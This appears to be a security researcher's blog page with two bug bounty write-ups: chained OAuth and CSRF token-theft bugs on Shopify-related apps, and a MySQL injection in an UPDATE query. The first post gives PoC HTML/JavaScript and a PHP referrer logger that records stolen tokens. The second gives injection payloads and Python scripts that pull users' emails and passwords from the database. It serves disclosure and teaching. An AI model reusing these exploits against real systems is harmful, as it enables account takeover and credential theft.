Sunday, June 11, 2017

Let’s steal some tokens!

This article was originally posted on Seekurity Blog: 

Hey There, How you doing?
Good? Cool!
In this blog post I will be talking about my experience with minor bugs chained together to steal sensitive tokens.

#1. Stealing CSRF tokens through Google Analytics.

While randomly testing things on, I landed at some random app page and hit the Write a review button, I wasn’t logged in so I was redirected to the login page and after logging in I was redirected to the application page again. Ok, that’s normal. However, what wasn’t normal is that the URL I got redirected to contained this GET parameter authenticity_token=[CSRF_TOKEN].
I know Shopify allow you to add rich text to your application’s description,so I just thought I will load an image from my server and get the token from the referer header, or add a link to it and trick the victim to click it.
Yup, that didn’t work, the only tags allowed were:
<a> <b> <blockquote> <h2> <h3> <i> <li> <ol> <p> <ul>
If only external images were allowed, I would be able to add an image like <img src=//myserver/log.php> then log the referrer header, but unfortunately it wasn’t. Also, `<a>` tag was not working (maybe some server error?), whatever I didn’t want to steal the token with it anyway .. it would require too much user interaction.
Anyways, after checking the other options you can edit for your application page I found that you can actually add your own Google Analytics tracking code and I got the idea to steal the token through Google Analytics which I did And it worked!
The report is publicly disclosed in:

#2. Chaining minor bugs to steal facebook codes

I have more that an example on this type of bugs, one of them is already publicly disclosed on HackerOne here: it will give you the idea about how this kind of bugs work.
I have found a number of minor security vulnerabilities with no impact that when chained together will lead to an attacker being able to steal the current user’s facebook access token provided for
  • In, users register with their shopify account and the products in their store appear in Priority Products section.
  • When a user tries to edit a priority product, the submitted request will contain the product image url as a POST parameter.
  • Users can set their product image to anything, for example will be accepted and added as the product image.
  • Now each time the user visits, the page will request as an image.
  • In https://[shop] there is no validation for the authenticity token, so there is a CSRF at the login endpoint (which has no impact at all)
  • Users of are authenticated automatically by visiting the endpoint which redirects to then they are redirected back to and logged in.
  • Current redirect_uri configuration for Kitcrm facebook oauth application allows redirection to<ANYTHING>
Chaining all of what I mentioned above together, here is how an attacker will be able to steal users’ facebook access tokens:
  • An attacker registers a shopify store and then uses it to register a account.
  • After that he modifies his priority product image url to
  • Then he tricks the victim into visiting a specially crafted HTML page that will:
    • CSRF login the victim into the attacker’s store
    • CSRF login the victim into
    • Redirect the victim to will redirect him back to[fb_token]
  • After the victim is redirected from facebook to, a request will be sent to with the code returned from facebook in the referrer header.
  • Now the attacker can store the token at his server and use it to access the user’s facebook account.
PoC Code:
window.onload = function () { 
  window.setTimeout(function() {
              document.getElementById("token").innerHTML = "<iframe src=''></iframe>";   
          }, 5000);
          window.setTimeout(function() {
          }, 10000);
finished = 0;
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200 && this.responseText.length > 0) {
     document.getElementById("token").innerHTML = "<b>Your access token is: <br></b>" +this.responseText;
     finished = 1;
function fetchToken(){"GET", "tokens.log?"+Math.random(), true);
 if (finished == 1){
var interval = setInterval(function(){ fetchToken() } , 10000);
<h4>If no window was opened click <a href="" target="_blank">here</a>: 

<div id="token"><h3>Your access token should appear soon.....</h3></div>
<iframe src='data:text/html,<form action="" method="post">
<input name="utf8" value=""><input name="redirect"><input name="highlight=><input name="subdomain" value=zh5409><input name="login" value=███><input name="password" value=P@SSW0RD><input name="[remember]" value=1>
<div id="csrf_login"></div>
header("Access-Control-Allow-Origin: *");
$referrer = $_SERVER['HTTP_REFERER'];
$token = substr($referrer, strpos($referrer, "=") + 1);    
$fp = fopen('tokens.log', 'w');
fwrite($fp, $token."\n");
Mitigation of this vulnerability is pretty simple, Shopify just set their facebook oauth application redirect_uri to the exact callback endpoint and removed the domain from the white list.

#3. Silly XSS to Account take over

This is a private program so I won’t be mentioning anything about the vendor.
Ever heard of a silly XSS?
IMO, a silly XSS is either a XSS that works in outdated browsers only or a XSS that requires too much user interaction to be exploited.
In my case it was XSS in a hidden <input> tag ..  So, I had my payload added like <input type="hidden" name="foo" value="[XSS]"> and < was removed str_replace($payload,'<' , ''), I tried to bypass that but no luck.
The guys at Portswigger wrote an article about XSS in hidden <input> fields here .  It concludes that we can XSS using <input type="hidden" accesskey="X" onclick="alert(1)"> and the onclick event will be triggered once the victim presses ALT+SHIFT+X , but that’s too much user interaction (silly XSS) and probably won’t be granted a bounty or even accepted.
I tried my luck to find a new way to XSS in hidden fields myself, tried things like x" style="display:block !important;visibility: visible!important; -moz-visibility: visible !important;width:1000px;height:1000px;background:black;" onmouseover="alert(1)" x but no luck since the browser can’t give an input with type hidden a width or a height as mentioned in
so I tried to change the type attribute to anything other than “hidden” e.g: x" type=text onmouseover=alert(1) x but the browser will ignore the duplicate attribute I just added and will only consider the first one.
One of the things I tested when trying to find a way to XSS this locally was x" type=image src= x which actually issued a request to `` even though the type was still `hidden`!! I tested the same in firefox but it didn’t request anything, so the first thing I thought of was to report this to Google but after searching a little bit I found that it was already reported and they didn’t consider it, you can read the full report here.
So due to the fact that we can request any external resource through the targeted website and the website has an option for users to login using third party services such as WeChat, all what I had to do is to set the `redirect_uri` parameter to `https://vulnerable/path/to/xss/payload` and once the user completes the login process through the third party, he will be redirected to https://vulnerable/path/to/xss/payload where I have the injected HTML that will send the `code` returned from WeChat to my server and I can use that code to login to the victim’s account.
That’s it for today, feel free to ask any questions or drop me a tweet @Zombiehelp54

Friday, February 17, 2017

SQL injection in an UPDATE query - a bug bounty story!

What's up whoever reading this! been a long time since I last posted something here.

Today, I will be writing about a SQL injection vulnerability I recently found.

As usual, at a hacking night after drinking my favorite cookie frappe I picked up a bug bounty program and started testing.

Like any other researcher, I was throwing XSS payloads randomly everywhere. (I usually use '"><img src=x onerror=alert(2) x= with a single quote at the beginning) and while doing so one of the endpoints returned a 500 error saying A SQL error was encountered which definitely attracted my attention.

The field returned that error was my `full name` so I went back there and immediately tried test'test which returned the same error which means that the single quote is what is causing the problem here.
Realizing that, it seemed to me that single quotes weren't escaped at the SQL query, so I tried to escape it for them(by doubling it) and see what happens. So I entered test''test  and I was shocked that the error disappeared and my name was changed to test'test !

Since the vulnerable field is used to edit the user's full name, I guessed that the vulnerable query is UPDATE. So I changed my name to '+ @@VERSION +'  and after reloading the page my name was changed to 5.6 which is the MySQL dbms version!

Note that it's a JSON request so `+` here does not represent a space(%20).

I reported what I have found so far and the vendor replied asking me to go further and extract data from the database.

Extracting data with this SQL injection seemed hard as whenever I try to extract a string the returned values were 0 because there is no concatenation for two strings using `+` in mysql.

If the server was SQL server it would be pretty easy since i can join the two strings easily using `+` for example 'x'+ @@VERSION + ' x ' would have updated my name to x5x (5 here is the dbms veraion).

However, it was a mysql server and in mysql `+` is used for summing numbers, that's why 'x'+version()+'x' was returning 5.6 , since it summed 0+5.6+0 as the integer value of a string is `0`  

so other payloads like 'x'+user()+'x' will always return 0 since the user name is a string and `+` can only be used for summing numbers as explained. 

that makes the only possible way to get the value of the string is by converting it to a number, hence I used ASCII() to convert the string to its ASCII equivalent number then after that I would grab the response and convert it from ASCII to text.

'+ length(user()) # --> to get length of the string to be retrieved
'+ ASCII(substr(user(),1)) # --> to get the first char of the string to be retrived 
'+ ASCII(substr(user(),2)) # --> to get the second char of the string to be retrived 
'+ ASCII(substr(user(),3)) # --> to get the thrird char of the string to be retrived 
and so on...

This seemed to be so annoying to do manually as I will have to use substr() to convert every single character in the response to its equivalent ASCII value then convert it back to text since MySQL ASCII function will return numeric value of left-most character.

With that said, I decided to write a simple python script that will extract and convert to text automatically.

import requests
rheaders = {} # Request headers
rcookies = {} # Request cookies
url = 'https://<target>/api/v1/' # Vulnerable endpoint
len = 1000 # length of the string (using 1000 assuming that it won't be more than that, going out of the string length will return 0 at that moment we know that we got the full string)
column = 'schema_name' # what to return
table = 'information_schema.schemata' # from what
orderby = 'schema_name'
start = 0
end = 20
for l in range(start,end):
        limit = l
        print 'Retrieving '+column+' at row ' + str(limit+1) + '...'
        if l > start and d == '':
        for i in range(1,len):
                 r = requests.put(url, json={"fullname":"' - (select ASCII(substr("+column+","+str(i)+")) from "+table+" order by "+orderby+" limit "+str(limit)+",1) #"},headers=rheaders,cookies=rcookies)
                 b = requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1][:5] # Get the returned value
                 n = filter(lambda b:b>='0' and b<='9', b)
                 d += chr(int(n)) # Convert ASCII number to equivalent character

                 #print d
                 if n == '0':
                   print column + ' at row ' + str(limit+1)+' :- ', d

Now using that script I could easily extract any data from the database by changing the values of `column` , `table` and `orderby` variables.

Here is a screenshot of getting current databases the user has access to: 

With a little modification, I could extract users' emails and passwords using ASCII(substr(concat(email_address,0x3a,password),i))) 

import requests
rheaders = {}
rcookies = {}
url = 'https://<target>/api/v1/'
d = ""
len = 1000 
limit = 400000
print 'Retrieving email and pass at row', limit
for i in range(1,len):
     r = requests.put(url, json={"fullname":"' - (select ASCII(substr(concat(email_address,0x3a,password),"+str(i)+")) from __users limit "+str(limit)+",1) #"},headers=rheaders,cookies=rcookies)
     b = requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1][:5]
     n = filter(lambda b:b>='0' and b<='9', b) 
     d += chr(int(n)) 
     print d
     if n == '0':
       print "Email:Password :- ", d

and after running the script:

- 14/2/2017 10:25 PM --> First submission
- 14/2/2017 11:02 PM --> The vendor asked to go further and extract data
- 15/2/2017 3:00 AM --> Resubmitted with the python script PoC
- 15/2/2017 10:22 AM --> Submitted more vulnerable parameters
- 15/2/2017 3:28 PM --> Nice Bounty awarded
- 15/2/2017 10:18 PM --> Vulnerability fixed